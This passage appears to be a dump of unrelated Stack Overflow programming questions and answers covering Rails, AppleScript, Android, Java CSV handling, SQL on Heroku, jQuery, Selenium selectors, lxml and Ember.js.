&gt;1&lt;/li&gt; &lt;li class="active breadcr"&gt;2&lt;/li&gt; &lt;li class="breadcr"&gt;3&lt;/li&gt; &lt;/ul&gt; &lt;ul class="sub"&gt; &lt;li class="sub02" style="margin-left: 25px;"&gt;&lt;b&gt;File or link&lt;/b&gt;&lt;/li&gt; &lt;li class="sub02" style="margin-left: 53px;"&gt;&lt;b&gt;Category&lt;/b&gt;&lt;/li&gt; &lt;li class="sub02" style="margin-left: 50px;"&gt;&lt;b&gt;Comments&lt;/b&gt;&lt;li&gt; &lt;/ul&gt;</code></pre> </div> </div> </p>
23263872	0	gem install rails -v 4.1.0 stuck with ri-documentation <p>I've run <code>gem install rails -v 4.1.0</code> on my server, but somehow it's stuck with </p> <pre><code>Parsing documentation for rails-4.1.0 Installing ri documentation for rails-4.1.0 </code></pre> <p>Can I abort this? What do I need the ri documentation for? Is it really required?</p>
14992656	0	Applescript to add grandparent folder+parent folder prefix to filename <p>I have multiple folders with sub folders that have files in them that need to be labeled with their parent folder+grandparent folder name.</p> <p>i.e. Folder 1>Folder 2>File.jpg needs to be renamed to Folder_1_Folder_2_File.jpg</p> <p>I was able to find a script that somewhat does it, and have been trying to reverse engineer it, but am not having any luck. The script below presents two challenges, 1) It includes the entire path from the root directory, and two, it deletes the name of the file, therefore only allowing one file to be renamed before it errors out. I know that the problem is that the script is renaming the entire file, I just don't know how to proceed.</p> <pre><code>tell application "Finder" set a to every folder of (choose folder) repeat with aa in a set Base_Name to my MakeBase(aa as string) set all_files to (every file in aa) repeat with ff in all_files set ff's name to (Base_Name &amp; "." &amp; (ff's name extension)) end repeat end repeat end tell to MakeBase(txt) set astid to AppleScript's text item delimiters set AppleScript's text item delimiters to ":" set new_Name_Raw to every text item of txt set AppleScript's text item delimiters to "_" set final_Name to every text item of new_Name_Raw as text set AppleScript's text item delimiters to astid return final_Name end MakeBase </code></pre> <p>Thank you!</p>
33204590	0	how to make instance variables updating in callback to happen in main thread? <p>This is the code that gets called when the GoogleApiClient gets created. All this does it retrieve the last location of the user. </p> <pre><code> //omitted code @Override public void onConnected(Bundle bundle) { Location location = LocationServices.FusedLocationApi.getLastLocation(mApiClient); if (location != null) { mLongitude = String.valueOf(location.getLongitude()); mLatitude = String.valueOf(location.getLatitude()); Log.d(TAG, mLongitude + "___" + mLatitude); //this one doesn't return null } else { Log.d(TAG, "Location is null"); LocationServices.FusedLocationApi.requestLocationUpdates(mApiClient, mLocationRequest, this); } } </code></pre> <p>This is for the google api client: </p> <pre><code>private void buildGoogleApiClient() { mApiClient = new GoogleApiClient.Builder(this) .addConnectionCallbacks(this) .addOnConnectionFailedListener(this) .addApi(LocationServices.API) .build(); } </code></pre> <p>This snippet is from my onCreate() method:</p> <pre><code>buildGoogleApiClient(); Log.d(TAG, mLongitude + "___" + mLatitude); //this one returns null </code></pre> <p>So when the code gets run, i build a google api client and the onConnected method gets called. Inside of that method, i will update the mLongitude and mLatitude variables which are instance variables. However in the log, they return as null. I was wondering why this happened so i put another log INSIDE the if statement of my onConnected() method as you can see in the first block of code and this one successfully brings back the longitude and latitude. I dont know why its not updating the instance variables. I believe it's because the callback isn't being run on the main thread and so the log happens before the update. So I tried running the code in the main thread like this:</p> <pre><code>runOnUiThread(new Runnable() { @Override public void run() { buildGoogleApiClient(); } }); Log.d(TAG, mLongitude + "___" + mLatitude); </code></pre> <p>unfortunately this doesnt work either. I searched for things relating to this topic and tried implementing them in my code however none seem to work as i dont even know the real cause for this problem.</p> <p>Anyone know how to fix this?</p> <p>Thank you</p>
12137621	0	 <p>your html is invalid. your <code>&lt;/script&gt;</code> tag should be before the <code>&lt;/head&gt;</code> tag</p> <p>if you really want to execute it only when you press the button then you should consider using ajax or to use a <code>&lt;form&gt;</code></p>
34055244	0	Bootstrap Glyphicons hiding border <p>For some reason, glyphicons hide a border of a container if it's being floated. Can someone explain this, and if there's a known workaround?</p> <p><a href="http://www.bootply.com/kmhAN31yEn" rel="nofollow noreferrer">bootply.com/kmhAN31yEn</a></p> <p><a href="https://i.stack.imgur.com/CXZSd.jpg" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/CXZSd.jpg" alt="glyphicon bug"></a></p> <p>OS X 10.11.1, Chrome 47.0.2526.73 (64-bit)</p>
6363041	0	 <p><a href="http://openntf.org/projects/pmt.nsf/ProjectLookup/GooCalSync" rel="nofollow">GooCalSync (openntf</a> and <a href="http://sourceforge.net/projects/lngooglecalsync/" rel="nofollow">LotusNotes-Google Calendar Synchronizer (sourceforce)</a> are great examples of how to do this in Java.</p>
6916128	0	 <p>It's hard to say which components you can reuse and how you can reuse without having seen the API :)</p> <p>I'd probably start by pointing the client directly at the new API and inspecting what breaks. If after digging around with the debugger the problems do not look too bad, I'd tweak the client as necessary.</p> <p>However, if you're really just reading from a simple rest API, you may not find a whole lot of benefit from attempting to reuse the Google client. An HTTP client combined with a JSON parser like <a href="http://jackson.codehaus.org/" rel="nofollow">Jackson</a> may be sufficient and less complex.</p> <p>~~Jenny</p>
13316591	0	 <p>i apologize if i don't understand the question, but maybe what you're looking for is this:</p> <p><a href="http://stackoverflow.com/questions/7366974/selectively-include-dependencies-in-jar">Selectively include dependencies in JAR</a></p> <p>so here's the plugin</p> <p><a href="https://github.com/nuttycom/sbt-proguard-plugin" rel="nofollow">https://github.com/nuttycom/sbt-proguard-plugin</a></p> <p>sbt proguard looks like it will cut down the unnecessary classes, so that your project will not be "heavy"</p>
32909855	0	 <p><a href="http://yoursite.com/checkout/?add-to-cart=" rel="nofollow">http://yoursite.com/checkout/?add-to-cart=</a>{ID}</p> <p><a href="http://yoursite.com/cart/?add-to-cart=" rel="nofollow">http://yoursite.com/cart/?add-to-cart=</a>{ID}</p> <p>Replace {ID} with the Post ID of the specific Product:</p> <p>result must be something like this:</p> <pre><code>http://yoursite.com/cart/?add-to-cart=&lt;?php echo $post-&gt;ID; ?&gt; </code></pre> <p>I hope it helps</p>
19422629	0	 <p>There are multiple overloaded of Add method at least in NH version 3.0.0.4000. One of them is having generic parameter that can be used for your case, for example:</p> <pre><code>disjuction.Add&lt;TypeinWhichPrimaryKeyPropertyExists&gt;(x =&gt; x.PrimaryKey == 1) </code></pre>
32877308	0	 <p>You can stretch an image while preserving the aspect ratio of a portion of that image using slicing. Xcode offers a graphical interface for doing this. The idea is that you decide what parts of the image are allowed to stretch and which aren't.</p> <p><a href="https://developer.apple.com/library/ios/recipes/xcode_help-image_catalog-1.0/chapters/SlicinganImage.html" rel="nofollow">https://developer.apple.com/library/ios/recipes/xcode_help-image_catalog-1.0/chapters/SlicinganImage.html</a></p>
38173134	0	 <pre><code>test.c:5:5: error: conflicting types for 'getline' int getline (char line[], int maxline); ^ /usr/include/stdio.h:442:9: note: previous declaration is here ssize_t getline(char ** __restrict, size_t * __restrict, FILE * __restrict) ... </code></pre> <p>I hope that answers your question. Your function <code>getline()</code> has the same name as a function defined in the standard library <code>stdio.h</code>, which is why you're getting the error. <strong><em>Just change your function name.</em></strong></p>
21893140	0	Radio Button Isenabled trouble <p>I'm setting a combobox to be enabled based on selection of Radioboxes. Currently it's producing this error <code>Object reference not set to an instance of an object.</code> for the following code below. I did it one at a time and to make the ComboBox False works. When I implemented Disc_OnChecked to Set to true it produced the error. If I can get help to bypass this error please.</p> <pre><code>private void Cont_OnChecked(object sender, RoutedEventArgs e) { Cf.IsEnabled = false; } private void Disc_OnChecked(object sender, RoutedEventArgs e) { Cf.IsEnabled = true; } </code></pre> <p>Xaml code:</p> <pre><code>&lt;GroupBox&gt; &lt;StackPanel Orientation="Horizontal"&gt; &lt;TextBlock Text="Type: "&gt;&lt;/TextBlock&gt; &lt;RadioButton Checked="Disc_OnChecked" GroupName="Group1" x:Name="Disc" IsChecked="true" Content="Discrete" &gt;&lt;/RadioButton&gt; &lt;RadioButton Checked="Cont_OnChecked" GroupName="Group1" x:Name="Cont" Content="Continuous"&gt;&lt;/RadioButton&gt; &lt;/StackPanel&gt; &lt;/GroupBox&gt; &lt;ComboBox x:Name="Cf" Width="125" SelectedIndex="1"&gt; &lt;ComboBoxItem Content="Annual"&gt;&lt;/ComboBoxItem&gt; &lt;ComboBoxItem Content="Semi-annual"&gt;&lt;/ComboBoxItem&gt; &lt;/ComboBox&gt; </code></pre>
30189108	0	Combine Columns in CSV file using JAVA <p>I want to combine columns in csv file using java here in this file i want combine first two columns "Product No" and "Product Name".</p> <p>This is My CSV File</p> <pre><code> Productno,Productname,Price,Quantity 1,java,300,5 2,java2,500,10 3,java3,1100,120 </code></pre> <p>Here is My Code</p> <pre><code>private void parseUsingOpenCSV(String filename) { CSVReader reader; FileWriter out = null; CSVWriter outt; try { reader = new CSVReader(new FileReader(filename)); String[] row; try { out= new FileWriter("E:/data/test/newww.csv"); } catch (IOException e) { // TODO Auto-generated catch block e.printStackTrace(); } try { while ((row = reader.readNext()) != null) { for (int i = 0; i &lt; row.length; i++) { // display CSV values System.out.println(row[i]); String com = row[i]; out.write(com); } } } catch (IOException e) { // TODO Auto-generated catch block e.printStackTrace(); } } catch (FileNotFoundException e) { System.err.println(e.getMessage()); }finally{ if (out != null) { try { out.close(); } catch (IOException e) { // TODO Auto-generated catch block e.printStackTrace(); } } } } </code></pre> <p>By using this code i get output is below</p> <pre><code>Product No Product Name Price 1 java 300 2 java2 500 3 java3 1100 </code></pre> <p>But I want Output like this....</p> <pre><code> ProductnoProductname,Price,Quantity 1java,300,5 2java2,500,10 3java3,1100,120 </code></pre>
27488943	0	How to config to show depended library jars rather than packages in "Packages view" of Intellij IDEA? <p>I installed Intellij IDEA 14 on my mac osx, but I found the display of depended library in Packages view was very annoying.The following is the screenshot of intellij idea, all the package name of depended jars are displayed here, they are indeed too many...</p> <p>intellij idea screenshot:</p> <p><img src="http://ww2.sinaimg.cn/bmiddle/c07d8ae3jw1enaucayottj20af0blab4.jpg"></p> <p><strong>I just want to know how to config to make the library view look like eclipse, display all the depended jars rather than expanded package name.</strong></p> <p>eclipse screenshot:</p> <p><img src="http://ww2.sinaimg.cn/bmiddle/c07d8ae3jw1enaucddd4aj209q0b2wfh.jpg"></p>
9625380	0	Database query times out on heroku <p>I'm stress testing an app by adding loads and loads of items and forcing it to do lots of work. </p> <pre><code>select *, ( select price from prices WHERE widget_id = widget.id ORDER BY id DESC LIMIT 1 ) as maxprice FROM widgets ORDER BY created_at DESC LIMIT 20 OFFSET 0 </code></pre> <ul> <li>that query selects from widgets (approx 8500) and prices has 777000 or so entries in it.</li> </ul> <p>The query is timing out on the test environment which is using the basic Heroku shared database. (193mb in use of the 5gig max.)</p> <p>What will solve that time out issue? The prices update each hour, so every hour you get 8500x new rows. </p> <p>It's hugely excessive amounts for the app (in reality it's unlikely it would ever have 8500 widgets) but I'm wondering what's appropriate to solve this?</p> <p>Is my query stupid? (i.e. is it a bad style of query to do that subselect - my SQL knowledge is terrible, one of the goals of this project is to improve it!) </p> <p>Or am I just hitting a limit of a shared db and should expect to move onto a dedicated db (e.g. the min $200 per month dedicated postgres instance from Heroku.) given the size of the prices table? Is there a deeper issue in terms of how I've designed the DB? (i.e. it's a one to many, one widget has many prices.) Is there a more sensible approach?</p> <p>I'm totally new to the world of sql and queries etc. at scale, hence the utter ignorance expressed above. :)</p>
15104142	0	 <p>The first one is faster because vector rendering mathematics are required to fill your shape in the latter.</p> <p>If you want noticeable (and I mean very noticeable) performance gains, you should have <em>one</em> Bitmap on the stage. What you do from there is store references to <code>BitmapData</code> to represent graphics, and sample those onto your one Bitmap via <a href="http://help.adobe.com/en_US/FlashPlatform/reference/actionscript/3/flash/display/BitmapData.html#copyPixels%28%29" rel="nofollow"><code>.copyPixels()</code></a>.</p> <p>Example:</p> <pre><code>// This is the only actual DisplayObject that will hit the Stage. var canvas:Bitmap = new Bitmap(); canvas.bitmapData = new BitmapData(500, 400); addChild(canvas); // Create some BitmapData and draw it to the canvas. var rect:BitmapData = new BitmapData(40, 40, false, 0xFF0000); canvas.bitmapData.copyPixels(rect, rect.rect, new Point(20, 20)); </code></pre>
7193708	0	 <p>You can currently find Hype or Pixelmator on the Mac App Store. </p> <p>This proves evidently that you can save to disk and read from disk, which seems a basic feature of any serious application. Moreover, Apple is pushing developers to start using incremental auto-backups of files, it would therefore be very surprising if they forbade that in the App Store, wouldn't it?</p>
23877947	0	 <p>When angular is creating your controller, it will use the <code>new</code> keyword on the function you passed in. Thus, it will construct a new object using the constructor you passed in. Constructing objects using a constructor function will always return the instance of the newly created object. </p> <p>There are some details about the constructing process (see <a href="http://stackoverflow.com/a/1978474/576725">this</a> SO answer) </p> <ol> <li>When the returned object is the same as <code>this</code> it can be omitted, as it will be returned by default</li> <li>If returning some primitive type, null, or something different (described in the other SO answer) also <code>this</code> will be returned.</li> <li>If returning an instance, the reference to this instance will be returned.</li> </ol>
11766854	0	 <p>Only if you had read UIColor's class reference...</p> <pre><code>UIColor *color = [UIColor colorWithRed:200 / 255.0 green:100 / 255.0 blue: 200 / 255.0 alpha: 1.0]; </code></pre> <p>will solve your problem.</p>
24197998	0	 <p>I have update the jsfiddle try this</p> <pre><code>[http://jsfiddle.net/W4xBJ/2/][1] </code></pre> <p>Actually your key is store_url not set_url. you were using the wrong key</p>
15437350	0	 <p>Try this for example:</p> <p>Course class:</p> <pre><code>import java.util.ArrayList; import java.util.List; public class Course { private List&lt;Student&gt; students = new ArrayList&lt;Student&gt;(); private String teacherName; private String subjectName; public Course(String subjectName, String teacherName) { this.subjectName = subjectName; this.teacherName = teacherName; } public void addStudent(Student student) { students.add(student); } public float getAverageGrade() { float grade = 0; for (Student student : students) { grade += student.getGrade(); } return grade / students.size(); } public void printCourse() { System.out.println("Course "+subjectName+" taught by "+teacherName); System.out.println("Students:"); printStudents(); System.out.println("Aberage grade: "+getAverageGrade()); } public void printStudents() { for (Student student : students) { System.out.println(student.getName()+"\t age "+student.getAge()+" \t grade "+student.getGrade()); } } } </code></pre> <p>Student class:</p> <pre><code>public class Student { private String name; private int age; private int grade; public Student(String name, int age, int grade) { this.grade = grade; this.age = age; this.grade = grade; } public String getName() { return name; } public void setName(String name) { this.name = name; } public int getAge() { return age; } public void setAge(int age) { this.age = age; } public int getGrade() { return grade; } public void setGrade(int grade) { this.grade = grade; } } </code></pre>
33901004	0	 <p>You cannot change line size for <code>sjp.int</code> currently, so you have to modify the returned plot object(s), which are in the return value <code>plot.list</code>. Then you can overwrite <code>geom_line()</code>.</p> <pre><code>dummy &lt;- sjp.int(test, type = "eff") dummy$plot.list[[1]] + geom_line(size = 3) </code></pre> <p><a href="https://i.stack.imgur.com/6AA66.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/6AA66.png" alt="enter image description here"></a></p> <p>I've added a <code>geom.size</code> argument to <code>sjp.int</code>, see <a href="https://github.com/sjPlot/devel" rel="nofollow noreferrer">GitHub</a>.</p>
37982054	0	Using jQuery's unwrap() to remove a class <p>I want to remove the class of <code>emphasis</code> from all tags that have that class in a specific cell of the table. I'm selecting the table cell content like this: </p> <pre><code>var answer = $('tr.problem_display_work:last td:first').html(); </code></pre> <p>In another place in the code, I'm using <code>unwrap()</code> like this: </p> <pre><code>$(".emphasis").contents().unwrap(); </code></pre> <p>However, I'm not sure how to combine the two. I tried this, but it failed:</p> <pre><code>var answer = $('tr.problem_display_work:last td:first').html().(".emphasis").contents().unwrap(); </code></pre> <p>Any ideas?</p> <p>EDIT FOR CLARIFICATION #1: I want to keep the HTML inside the tag. So, if I have: <code>14 + 6 = &lt;span class="emphasis"&gt;20&lt;/span&gt;</code> I want to end up with <code>14 + 6 = 20</code>.</p> <p>EDIT FOR CLARIFICATION #2: The HTML in question is getting set as the value for a hidden <code>&lt;input&gt;</code> field like this <code>$('#answer').val(answer);</code>. Gleb Kemarsky's solution is good, but it doesn't get applied the value for the input field for some reason.</p> <p>EDIT FOR CLARIFICATION #3...</p> <p>I have a <code>&lt;table&gt;</code> with some rows and cells. In the first cell of the last row I have some content (<code>14 + 6 = &lt;span class="emphasis"&gt;20&lt;/span&gt;</code> for example).</p> <p>I use <code>var answer = $('tr.problem_display_work:last td:first').html();</code> to get the HTML of that cell, then I use <code>$('#answer').val(answer);</code> to update the value of a hidden <code>&lt;input id="answer"&gt;</code>. </p> <p>When that happens, I'd like to turn <code>14 + 6 = &lt;span class="emphasis"&gt;20&lt;/span&gt;</code> into <code>14 + 6 = 20</code> for the value of the hidden <code>&lt;input id="answer"&gt;</code>, but leave it as <code>14 + 6 = &lt;span class="emphasis"&gt;20&lt;/span&gt;</code> in the table.</p> <p>EDIT FOR CLARIFICATION #4...</p> <p>The key is that any <code>&lt;span&gt;</code>s with the class of <code>emphasis</code> be removed. </p> <p>This.. <code>&lt;span class="emphasis"&gt;&lt;div class="fraction_display"&gt;&lt;span class="numer_display"&gt;21&lt;/span&gt;&lt;span class="bar_display"&gt;/&lt;/span&gt;&lt;span style="border-top-color: green;" class="denom_display"&gt;23&lt;/span&gt;&lt;/div&gt;&lt;/span&gt;</code></p> <p>should end up as... <code>&lt;div class="fraction_display"&gt;&lt;span class="numer_display"&gt;21&lt;/span&gt;&lt;span class="bar_display"&gt;/&lt;/span&gt;&lt;span style="border-top-color: green;" class="denom_display"&gt;23&lt;/span&gt;&lt;/div&gt;</code></p>
34448607	0	How to add attachments to mailto in c#? <pre><code>string email ="sample@gmail.com"; attachment = path + "/" + filename; Application.OpenURL ("mailto:" + email+" ?subject=EmailSubject&amp;body=EmailBody"+"&amp;attachment="+attachment); </code></pre> <p>In the above code, <code>attachment</code> isn't working. Is there any other alternative to add attachments using a mailto: link in C#?</p>
31921094	0	 <p>I think you didn't understood my comment. I mean something like this:</p> <pre><code>&lt;LinearLayout with vertical orientation&gt; &lt;HeaderView/&gt; &lt;HorizontalListView/&gt; &lt;FooterView/&gt; &lt;/End of LinearLayout&gt; </code></pre>
37071385	0	 <blockquote> <p>increasing the heap size</p> </blockquote> <p>is the way to go. But you also have to check how to do a distribute test; because 12000 is a big test that can't be run only in one machine alone; it is not a good practice.</p> <p><a href="http://jmeter.apache.org/usermanual/jmeter_distributed_testing_step_by_step.pdf" rel="nofollow">http://jmeter.apache.org/usermanual/jmeter_distributed_testing_step_by_step.pdf</a></p>
9978987	0	 <p>You can have .net give the User's Userpath. Like "C:\Users\User\MyDocuments". Actually, that's what George's link is about. +1 for him.</p>
13372952	0	 <p>Don't single quote your table name, if anything use magic quotes (`)</p> <p>You should not be building the query by concatenating strings.</p> <p>To avoid potential issues with SQL injection, it would be wise to use prepared queries.</p> <p>I've just confirmed this on a mysql server</p> <pre><code>mysql&gt; delete from 'sessions' where `last_activity` = 0; ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''sessions' where `last_activity` = 0' at line 1 mysql&gt; delete from sessions where `last_activity` = 0; Query OK, 0 rows affected (0.00 sec) </code></pre>
9199883	0	<identifier> expected <p>i make first steps with android. but i get this error: identifier expeted at "<code>puplic void try(View view)</code>". where is the error?</p> <pre><code> import android.app.Activity; import android.os.Bundle; import android.view.View; import android.widget.EditText; public class MainActivity extends Activity { /** Called when the activity is first created. */ @Override public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.main); } puplic void try(View view) { String wert; EditText F1 = (EditText)findViewById(R.id.b1); wert = F1.getText().toString(); } } </code></pre>
29432061	0	 <p>The selector <code>#credentials.errors</code> looks for an element with the ID "credentials" and a class "errors", <em>not</em> an element with the ID "credentials.errors". The dot is being interpreted as the start of a class selector. In other words, it's equivalent to <code>.errors#credentials</code>, with both simple selectors swapped around.</p> <p><code>document.getElementById()</code> works because it simply takes a string as the input ID. It does not try to parse it as a compound selector.</p> <p>To correctly locate the element with an ID selector, you need to escape the dot:</p> <pre><code>driver.findElement(By.cssSelector("#credentials\\.errors")); </code></pre> <p>You can also use an attribute selector instead so you don't have to escape anything:</p> <pre><code>driver.findElement(By.cssSelector("[id='credentials.errors']")); </code></pre>
10628885	0	 <p>You are using <code>PDO</code> to interface with the database. Use <a href="http://php.net/PDO.lastInsertId"><code>PDO::lastInsertId()</code></a> to get the last inserted id.</p> <pre><code>$stmt-&gt;execute(); echo 'last id was ' . $db-&gt;lastInsertId(); </code></pre> <p><code>mysql_insert_id()</code> is part of the <code>ext/mysql</code> extension. You cannot mix-match functions from both extensions to interface with the same connection.</p>
24882173	0	Google Analitics : Send PageViews or Event with PHP <p>I have an website who already use Google Analytics, but it' didn't send page view for Ajax action (a Dynamical search engine for exemple) i don't find an API to send it with PHP by server.</p>
36072700	0	 <p>If you attach this script to <code>Water</code> particle, and you have a <code>Fire</code> particle, then in your water collision script</p> <pre><code>if (other.gameObject.name=="Fire") { Destroy(other.gameObject); // bonus effect for smoke particles // Instantiate(smokeObject, other.gameObject.transform.position, other.gameObject.transform.rotation); } </code></pre>
22802377	0	 <p>You can checkout branch B and do a git rebase.</p> <p><code>git checkout B</code></p> <p><code>git rebase M4</code></p> <p>Where M4 is the SHA of the commit M4.</p> <p>That should move your branch to a new base. Although if branch B has been pushed, and you still do a rebase, be prepared for some work if you are only contributor or some curses if you are a team worker.</p>
12135396	0	 <p>Since you're on a mac, you can just use the subprocess module to call <code>open http://link1 http://link2 http://link3</code>. For example:</p> <pre><code>from subprocess import call call(["open","http://www.google.com", "http://www.stackoverflow.com"]) </code></pre> <p>Note that this will just open your default browser; however, you could simply replace the <code>open</code> command with the specific browser's command to choose your browser.</p> <p>Here's a full example for files of the general format</p> <pre><code>alink http://anotherlink </code></pre> <p>(etc.)</p> <pre><code>from subprocess import call import re import sys links = [] filename = 'test' try: with open(filename) as linkListFile: for line in linkListFile: link = line.strip() if link != '': if re.match('http://.+|https://.+|ftp://.+|file://.+',link.lower()): links.append(link) else: links.append('http://' + link) except IOError: print 'Failed to open the file "%s".\nExiting.' sys.exit() print links call(["open"]+links) </code></pre>
2750176	0	 <p>To do this in gedit, try the <a href="http://www.stambouliote.de/projects/gedit_plugins_old.html" rel="nofollow noreferrer">Tab Converter</a> plugin.</p> <p>(Don't think there's a way to do it directly in Rails.)</p>
571881	0	 <p>Like this.</p> <pre><code>def threeGens( i, j, k ): for x in range(i): yield x for x in range(j): yield x for x in range(k): yield x </code></pre> <p>Works well. </p>
20723602	0	Bind event handler to "console.log" JavaScript event <p>My script sends text to the console output from several places in Javascript (see examples), how do I bind an event handler function to the log function itself so that a function is executed each time the event is triggered?</p> <pre><code>try { //some code } catch(e) { console.log("error: "+e) } function x(n) { //some code console.log(str) } </code></pre>
21817327	0	 <p>Move <code>gem 'haml-rails'</code> out of <code>group :assets</code>. It should do the trick.</p>
8188991	0	 <p>I am assuming you are doing this in PHP. It may not be elegant, but it gets it in one query. I think you want to display the table columns as well as the data in one query.</p> <pre><code>&lt;?php $sql = "SELECT * FROM $tablename"; $res = mysql_query($sql); $firstpass = TRUE; while($row = mysql_fetch_assoc($res)){ if($firstpass){ foreach($row as $key =&gt; $value) { //store all the column names here ($key) $firstpass = FALSE; } } //Collect all the column information down here. } ?&gt; </code></pre>
15516409	0	 <p>Like this</p> <pre><code>if @user.profile.prefecture.blank? 'not selected' else @user.profile.prefecture.name end </code></pre>
21612719	0	 <p><code>strip_tags()</code> does not return anything. It strips off the tags in-place.</p> <p>The <a href="http://lxml.de/api/lxml.etree-module.html#strip_tags" rel="nofollow">documentation</a> says: "<em>Note that this will not delete the element (or ElementTree root element) that you passed even if it matches. It will only treat its descendants.</em>".</p> <p>Demo code:</p> <pre><code>from lxml import etree XML = """ &lt;root&gt; &lt;entry-details&gt;ABC&lt;/entry-details&gt; &lt;/root&gt;""" root = etree.fromstring(XML) ed = root.xpath("//entry-details")[0] print ed print etree.strip_tags(ed, "entry-details") # Has no effect print etree.tostring(root) print etree.strip_tags(root, "entry-details") print etree.tostring(root) </code></pre> <p>Output:</p> <pre><code>&lt;Element entry-details at 0x2123b98&gt; &lt;root&gt; &lt;entry-details&gt;ABC&lt;/entry-details&gt; &lt;/root&gt; &lt;root&gt; ABC &lt;/root&gt; </code></pre>
21570318	0	Understand Arraylist IndexOutOfBoundsException in Android <p>I get a lot of <code>IndexOutOfBoundsException</code> from the any <code>Arraylist</code> I use. Most of the times it works fine but sometimes I get this annoying error on <code>Arraylists</code> i use on my project.</p> <p>The main cause is always either</p> <pre><code>java.util.ArrayList.throwIndexOutOfBoundsException: Invalid index 3, size is 3 </code></pre> <p>or</p> <pre><code>java.util.ArrayList.throwIndexOutOfBoundsException: Invalid index 0, size is 0 </code></pre> <p>Help me understand the main cause of this error as no matter how many answers I've searched they don't completely help me.</p>
16025543	0	 <p>Got it working with just a few changes.</p> <ul> <li>Each entry in <code>App.Transaction.FIXTURES</code> should specify an <code>account</code> property instead of <code>account_id</code></li> <li>unless you have some <code>{{date}}</code> helper defined elsewhere, <code>{{date transaction.date}}</code> won't work. Replaced with just <code>{{transaction.date}}</code></li> <li>Instead of <code>{{#linkTo 'transaction' this}}</code> it should be <code>{{#linkTo 'transaction' transaction}}</code> - because <code>this</code> is a reference to the <code>account.index controller</code></li> </ul> <p>Posted working copy of the code here: <a href="http://jsfiddle.net/mgrassotti/bfwhu/2/">http://jsfiddle.net/mgrassotti/bfwhu/2/</a></p> <pre><code>&lt;script type="text/x-handlebars" id="account/index"&gt; &lt;h2&gt;Transactions&lt;/h2&gt; &lt;table&gt; &lt;thead&gt; &lt;tr&gt; &lt;th&gt;Date&lt;/th&gt; &lt;th&gt;Item&lt;/th&gt; &lt;th&gt;Amount&lt;/th&gt; &lt;/tr&gt; &lt;/thead&gt; &lt;tbody&gt; {{#each model}} {{#each transaction in transactions}} &lt;tr&gt; &lt;td&gt;{{transaction.date}}&lt;/td&gt; &lt;td&gt;{{#linkTo 'transaction' transaction}}{{transaction.name}}{{/linkTo}}&lt;/td&gt; &lt;td&gt;&amp;pound;{{transaction.amount}}&lt;/td&gt; &lt;/tr&gt; {{/each}} {{/each}} &lt;/tbody&gt; &lt;/table&gt; &lt;/script&gt; App = Ember.Application.create({}); App.Router.map(function() { this.resource('account', function() { this.resource('transaction', { path: '/transaction/:transaction_id' }); }); }); App.IndexRoute = Ember.Route.extend({ redirect: function() { this.transitionTo('account'); } }); App.AccountIndexRoute = Ember.Route.extend({ model: function() { return App.Account.find(); } }); App.TransactionRoute = Ember.Route.extend({ model: function() { return App.Transaction.find(); } }); App.Store = DS.Store.extend({ revision: 12, adapter: 'DS.FixtureAdapter' }); App.Account = DS.Model.extend({ title: DS.attr('string'), transactions: DS.hasMany('App.Transaction') }); App.Account.FIXTURES = [ { id: 1, title: 'Your account', transactions: [1, 2, 3] }]; App.Transaction = DS.Model.extend({ date: DS.attr('date'), name: DS.attr('string'), amount: DS.attr('number'), paidWith: DS.attr('string'), account: DS.belongsTo('App.Account') }); App.Transaction.FIXTURES = [ { id: 1, date: new Date(2012, 04, 17), name: 'Item 1', amount: 10, paidWith: 'credit card', account: 1 }, { id: 2, date: new Date(2012, 04, 01), name: 'Item 2', amount: 50, paidWith: 'cash', account: 1 }, { id: 3, date: new Date(2012, 03, 28), name: 'Item 3', amount: 100, paidWith: 'bank transfer', account: 1 } ]; </code></pre>
5433560	0	 <p>If 2 variables have the same name in the same scope they will clash, the latter definition will overwrite the former.</p> <p>If for some reason you cannot edit the variable names, you could wrap the entire blocks of code in separate, anonymous functions:</p> <pre><code>$(function(){.....}); </code></pre> <p>This will put the 2 vars in separate scopes as long as you define them with <code>var</code>, so they will not clash. This may cause issues if parts of your scripts need the vars from the other. </p>
36129082	0	Android: Calling method from thread <p>I have a handler for a thread in my <code>MainActivity</code> that calls a method named <code>UpdateGUI</code>.</p> <p>Both the handler/thread declaration and the method are within the <code>MainActivity</code>.</p> <p>This is the handler Declaration:</p> <pre><code>Handler handlerData = new Handler(); private Runnable runnableCode2 = new Runnable() { @Override public void run() { Log.d("Handlers","GET TOTAL RX BYTES: "+Long.toString(res) ); //Some code here that doesn't matter/ UpdateGUI(); } handlerData.postDelayed(runnableCode2, 1*6000); } }; </code></pre> <p>And <code>UpdateGUI</code> is as follows:</p> <p><code>public void UpdateGUI(){ Log.d("Updater", "STARTING UPDATE"); //Code that doesn't matter here} }</code></p> <p>From the logger I can see that <code>UpdateGUI()</code> is not being called from the thread. Can you explain why this is happening and how it can be fixed?</p> <p>Just to clarify. The thread is running,but for some reason it doesn't make the call to UpdateGUI().</p>
36406507	0	 <p>we are using the following options when calling .getPicture:</p> <pre><code>quality: 50, destinationType: Camera.DestinationType.DATA_URL, encodingType: Camera.EncodingType.JPEG, sourceType: Camera.PictureSourceType.CAMERA, targetWidth: 800, correctOrientation: true </code></pre> <p>The quality parameter doesn't seem to have too much implication on file size, though. targetWidth and, for some odd reason, correctOrientation do. The resultung picture size with these settings is around 24kB depending on the device's camera resolution.</p>
23328258	0	 <p>It sounds like your VBA script is in an Excel spreadsheet, and you want it to automatically execute when you invoke the .xls(x) from Firefox.</p> <p>If so, you can try this:</p> <p>1) Write your VBA as an "Auto_Open macro" or use the "Open" event on your worksheet:</p> <p><a href="http://office.microsoft.com/en-us/excel-help/running-a-macro-when-excel-starts-HA001034628.aspx" rel="nofollow">http://office.microsoft.com/en-us/excel-help/running-a-macro-when-excel-starts-HA001034628.aspx</a></p> <p>2) Make sure your Windows file associations are set so that Firefox will open your .xls(x) file or link with MS Excel </p> <p>3) You can use a <a href="http://www.cs.tut.fi/~jkorpela/fileurl.html" rel="nofollow">file URL</a>, format <code>file://host/path</code> to link to the document</p>
